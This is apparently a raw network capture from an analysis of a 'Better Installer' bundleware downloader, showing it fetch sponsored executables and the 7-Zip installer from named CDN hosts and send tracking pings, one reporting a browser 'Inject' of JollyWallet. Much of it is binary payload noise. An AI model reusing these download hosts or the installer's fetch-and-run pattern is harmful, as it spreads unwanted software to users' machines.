..Qw.^g.}....V[r....$..[..<....|A..f>.#..!.R..Rg.:~../^.....C.F.
.Y#?.].c.........)...a.....O.n...J._..I........C.w..2........`...W<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3500000-3749999/7697808

Age: 36340

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bxjw4wLagBfIDw5oSbcuGUbh5W4kQRz-P_-2vS-Y0w4Uzc6YVSSg8g==

....

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4750000-4999999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zvi6i4fnbQxIZzy9finTXZSHmNgOXOoUjZM_e7le1sc6wQ4ZeLpgQQ==
........h.... F.$.8..tg..ti...T.<.'J.*.H=..`....i...R.=......zjp?..
......[@....>m.....z.kNZ"u.9|.....up......a........MG.Up....O......
...u.%sm.......r .....;c...*2.._..p...H.tB.'.[!..<[email protected]...
r...l....n........%.0r.>......w.*KaNU".[...`....%....^F..f......)p.
dZ..r....R....,....].5...h.Jx.a)%.N.?.]6I......;4...B..c.......=..M-sI
.;.L.n.......0.i...\4.,}h....l..0.a...B....C.|1.....#.....ca..aI[..l.P
W4b.J.`.. ..v.N4.RS.2r2p.*......I.....JA...n1k.FP....vh.......&.CW... 
a....J..$K.J..?.....d..O.8..f...7..Bu:y.\.(.........%....[.U..w..q....
.#.........S.>./.......j..........P.4.......f.]ft.x..<...R......
S.O8..:..Z...&...H......u...e..a. ....U.*;J.u.....(.....N.....Q45.....
...<...Ng......Dl.1;..g....cGHQ..K5...uo.m.>L...&\.#...nR"P.4..:
)%n8.........|.2.._.!........:..>@.%..... L!j...u....t..f..1`*E.}.d
..1.U..dR..q...7.......2...)...#.4....RI]..&}..V.QD.......a..B..Exn...
...0..V..)/uN...%(.Tl........a.V.....^.p........)..L.C]Ih`H.q.9~..!.V.
C....>.G.g....z....b..;....{9T ......i.......B.4....|.X.&...#HPv...
...7...!..m.....?........9.(v.r......  |.X..e..|..:.._. [email protected].
.Q.4..Y..7...>...W.xf.0^....`P%.G.J...X(..0.........-...Gz..qFr..S*
$R0...A.9[[email protected]$. N$(..2f.d...0i..<.....
.bs#[email protected]{|..qE.D.....R.g
..7...C.0.t........:...!...\Vx..p. ..7#.~.t..RD.([email protected]<[
9.b.....H..4.6.Ss.....,......yZ.}b..b=x......~..M.E].".. .;... lM.4...
.p.....Z<"qY^............7..4.Oh....U..XP..t.h~}..qp.V.2>.l&<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6500000-6749999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fgjJxFjuvrms5TXC_dvN6RDvZfKmX9_CTV5icB3vCJZt6ti4GR7axA==
?.....!..2......UN.3..Ie>r.Q.....c...d...!..|.....o.k6.2.o.^e.'...i
E7.d(..y..t...))....Gc_..y...... C.....m..n..z.x....)>...$#2]2.....
F3.j.HC..&..z......_..!..e..N..i..)B...,.g;.:..t.a.....=.G.UA.C.......
3......^.h.......o..rH.......O.r........;k(...v...Y.^2.%../.. .{.H.x.v
......S.*?\.......5...K.....>.eF...3.z...IU.R.[.b....yI...X-..%.7.(
;. .5=.$..&..MoE......^.t..........b.4....nYz..w..."tSE....,o..'mv.2Q.
.....2{...Ir\..*.........T....}[email protected]`bksN..Z......9O..|...z
}_.:?.l....2...\$..%..xFS...6.....`....kM......|.;..l.i0.......a..#A|.
.>}.-..C....SY.S.23.......).f.z..s6.U.Q....d..._.0Ij`.....i...M.._.
#.o.![>[email protected]..^...h..E..H....d.u..B..2.p....L.......
..O.....L...n..t...|...{j.9\.g".U0<...R........9.4&~d...Ju....l....
......y....*p......n.A..8...b..S=U.w*..r..n....([email protected]|,h.m0U......Q;
}............Dva..>.gS.5EQ.h7......a"........I...D,.D....~b.j......
...k......U..W...W.M..%..h...?.1.._*...2&..=.[..6..Z.]h..W8..mg0..H.3.
F>.nA.![....O..*.v:_!\W.3..c...Z.KyvWbi..at.I.......w.E...VS.w...uv
...H..p.*R... U.J.Hku..........2..B9..T>....m....1...<..[DP\..h.
Q...zy.B...HK...-.c3PE.n .2..W.L..^.Z....c.Y...H_02..U........z..H..K.
...........$.......Py.../..*..s.....a.V..........|..y8.d.....T._..9..4
8.8:......,..a.\|..3 ....y@.*u.g..............Zk..Ot>Yko..'...b..V.
.E.,q.Ri...eN...M$..G..o...t......^......D............!.,e...:.....\.;
.......D,.MN.1A.....=.c$.n...R..g.A.......t.^Xm...Q.t.J)..a.d..(A-_BG.
...D!o..J*.W....J2dmA..}..&....R.b.,.{.y...>4..'8$-Q. Aw.j.....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7000000-7249999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: x0atCC1GXcGxKgIiv3E9iPw4vHwXU-Jlj5TGrTHonKbxknDprs_GnQ==
..u.m.S...I.....H.D..Q..i.......a....Y......J$.`..\V.Y..8..<..Ny2._
....y;)@.U.]RI...uW..i..`...y..c.... T. ..f.}.d.. m...O...H[.Xm};[i...
.]<...>t.."..f./..d%HK.............r....u]..... g.Di...~|*4.T>
;.D..m..xjG0..O...4...Hny...m..I.RD./Y$i..k..z.k...s>|.....H..3...D
...d...f.xRG..V....0......s`!a.(........g..../ .q....r...E.......,^...
.K.QZ.B......E.z..o..{..h.....].}....."...*...,....b.[...S....j*[email protected]
[.d[.NL.....|`<M7t.B."#........o..(.R&%......O.....H..;..e.....t.7s
.E0Z.'D...K..> .G.p..["...?...W{....y...G..{.^...1..>6)...<MD
.56.(....2!...h..f.*.[x8...c*.&...5...H[?...YzR.....d=..u....X.X.....G
/y...Ej6.e..5)O'E4..]......4.....N6......N.lzn.(..... U...vKKR.K.9h.Y;
.x.....9.....'F...V...<.O..,.Z.q.a....W6...w.-H.0....w12.....y...-k
E0.'.vDp.. .^..[....Ou..(m.... i.A.~U.S%c.....=..%S..]..7.d..X...CN*.6
[email protected]|.>][email protected]$.n...6...k.q.Lf.....g..)(....r...
0n..<....r..meb.r....q....T.,o..!..:f..Q.l....J....e....../f......A
F}S..(l.....A .....{........J...y.j.....:%..H...^.....7..J...(=....E..
..g..pf...`.L.'...An...?..........UvX....n......;...`[_.;?.'....aa...d
....a|.C&..k...s....`...... ..4]..PB..(....!.5..4H....-.G.4._rng$.d`.'
.Yk..:......G..D.F......5.....J....!..dX...W..........[.....;.........
......(e.p.$.d.z..p.E".....0.P.U.!!n....,[email protected]*!.!OU,`..G1HLN.o
.;/......N.....I.G([email protected]..........`._/.c....Uw"......W....
..v.j.*..-T..........=2VE!.C..j...1.O.i...# 0.....h3...uCC:..=.I......
....j...........d..]X9..e....Q..<.J<..`.4...b.<.3xD.\.P{{<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7250000-7499999/7697808

Age: 36341

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UJAJVsMLl3NNTyGFaus0r-ALOmWu_vFIxd9FpKeHlbgPBUGsvcsu5Q==
....Xc.b.=.p1_....d5..'.zB..(..l}.9..A..H..~.......r.".......8X]d.0E|.
..$...bS.....I.HWG 7.s....(.....f.f.........O..z.....S6.*"...P.Fh..tt.
{..(..I....|V....m4eL)0..@./...\. ..O...y.T.V..nz........-......I.....
..q....1..`...KBU*..G..H......f.B...:.'...c.H..I......].N....B.EE1OV..
.^...5.t#...=z...&.q]...%..c6..&.3|.LO.F...B#FG..^...........k1n.n.:G.
...&KdP=-.A..r.p......bJnB....-..l..g. U...|1|.2%[email protected].!...v`#%
@:fz........gR.."...=QNe.R....3._.I).q.~....=......at...;}.S..........
..FcA..V...>.Ou.e`7Z/......j.\.'.......vN..6.......N.$....tv.5.....
^&.aW.ZCm..E.z.?....1. .......I..u... .A/k..r._.e.#[N..K m.L.......R..
.'(.........*nC8........t^.. N...... .Z....k6......c.....w.....8.%.}..
`...T&...a....Q.....?...?..\.4Vgo.t"......I(...JXF]...|._._a.-....(..}
..aW...n...p..e.?....8k..Va."....0}..!..pd...A....l.4..B........u._.xx
0......w..O...Q..z.s./.6...%k... .n..8.u...j.^.;.n.vd.".....V.........
.[....m/.N.uR7......:.E.......w...3.InJ.h..~O<C..y..7...{....c..c~o
...s)....w...1.LVx..7;........bA....~........4.}.a........7#.H\..ko...
.._i;w.b.=T&...AdR...S.~a/........L...B.|.6..I8.%..b3..p..6...[...XJ.7
M.?7uS0.....p.M.^P. `.o.......n.6,K...Ip."..,..T....c.....#..M..R..-.D
......_....:.e.u.I........Y..4..gf...C....O...NK.7r7.#..,..;.9........
..6.#......q.v..jc.cc...X....... M...i."..O...pB..hw...t\.......=....L
.......Q..Z.i.=.. .K..~...........*.C....{....E....>...../,@.G..S..
.~.S..E..K.....v..t.h.....[....~..\...T:..<...*.......X..Q..k...>
;@.W..s..........c.W0B?V......_m#.EZ.TJ.n5......Z.U..............&<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-291576

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:03 GMT

Date: Tue, 24 Feb 2015 00:01:03 GMT

Content-Range: bytes 145788-291576/583152

Content-Length: 145789

Connection: keep-alive
t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&.
.... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J........
2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB......E.
5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..t.}.....
.'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\......0..$.
s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.a...C?..
.....W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j2.V.a...
..q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }....B.m. 
.eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(
DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..........@G]
C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n
....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a..........".y..II..
.{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.........
N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.
u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}[email protected].
.....r.ei....K0....5.....7....1M3X.C.......q..Gh.R.... zi=-...p:.8....
...].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZHNC.w.Y.=
 .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>...4.{.
M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.t...m'.=
.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.......v.
...j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.l
.!)....U..<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=JollyWallet HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:07 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:04:07 GMT..Content-Length: 0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nosGzvGkm07n0O1z6WbHRIDnmxs9wz1cYN5cC2wETIoCbtb4snDypg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=241224-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80408

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 241224-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CBCCcProlLuiC_inTEapO0qiTXdYwfPdvnczy3cICqVKK9isVcTGEw==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&0.963330837142687 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:09 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=3&index_in_screen=1&index_in_session=3&0.5401641156762951 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

